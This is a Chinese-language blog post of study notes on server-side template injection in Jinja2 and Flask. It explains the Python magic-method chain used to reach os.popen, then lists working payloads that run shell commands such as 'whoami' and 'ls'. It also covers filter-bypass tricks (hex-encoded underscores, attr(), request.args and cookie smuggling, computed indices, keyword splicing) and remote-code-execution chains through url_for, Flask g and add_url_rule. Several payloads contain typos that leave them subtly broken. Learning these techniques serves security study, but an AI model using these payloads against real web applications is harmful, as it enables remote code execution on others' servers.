SSTI
模板引擎:动态数据和静态模板结合产生的输出工具
ssti:是服务器端的模板注入漏洞
攻击者 将恶意代码输入到模板 服务器在执行时未对恶意代码进行处理 就输出执行
将字符串 当作模板执行
ssti注入就是使其渲染我们想要执行的的字符串
为什么要用{}
{{}}
在jinja2中作为变量包裹标识符,也就是被{{}}
包裹的内容会被当作变量解析出来
所以{{恶意代码}} 实现类似SQL注入
魔术方法
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
read():读取打开了的文件的内容
继承关系
创建四个类 依次继承
在创建一个C的对象c,用__class__
找到他当前的类
返回类为C 接着找父类
返回为B 接着找父类 直到父类为object
或者直接一步到位使用__mro__
__mro__
方法以数组的形式返回 可以传入’标‘ 得到想要的数组
得到object之后 查看object类下的所有的子类
我们最终的目的是为执行命令获取字段 所以要找能执行命令的函数,如
popen
,eval
和system()
函数或者能打开文件的函数open
一般情况下会用popen
函数 因为system()
函数没回显,popen
函数有回显
所以 需要知道这些子类里面哪个有能执行命令的函数
<wrap_close>
子类就是其中之一
接着初始化 初始化相当于 创建一个新的实例
然后用__globals__
方法将获取到的方法以字典的形式返回
接下来 可以用popen
函数执行命令 执行一下whoami
绕过
{{"".__class__}}
绕过.
用[]
代替.
{{""['__class__']}}
用attr()过滤器绕过
{{""|sttr('__class__')}}
绕过_
十六进制编码
{{“”["\x5f\x5fclass\x5f\x5f"]}}
绕过[]
用__getitem__
魔术方法
__subclasses()__.__getitem__(133)
绕过{
{%print(xxxxxxxxxxxx)%}
{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}
for循环
{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
绕过'
和"
采用 request.args.a
{{url_for.__globals__['__builtins__']}} 等于
{{url_for.__globals__[request.args.a]}}&a=__builtins__
绕过args
当args被过滤掉时,采用request.cookies.a
和request.values.a
{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'
绕过数字
构造的数字
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}} #117
10个a*12个a-3个a=117个a
构造paylaod
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
绕过关键字
拼接绕过 如 __class__
{{dict(__cla=a,s=b)|join}}
语句
From Tuple to RCE
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
{%for(x)in().__class__.__base__.__subclasses__()%}
for循环 遍历object的每一个子类
{%if'war'in(x).__name__ %}
判断子类名称中是否含有 war
条件为真就执行以下代码
{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
, 实例化找到的子类 (x())
,访问该实例的模块属性,然后访问内置模块 __builtins__
..
From Flask g to RCE
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
g全局变量,pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
大概就是 返回全局变量里的最后一个值
From url_for to RCE
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
url_for 用于构建指定函数的url
From
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}
标签:__,.__,globals,popen,__.__,SSTI,class
From: https://www.cnblogs.com/Yolololo/p/18226310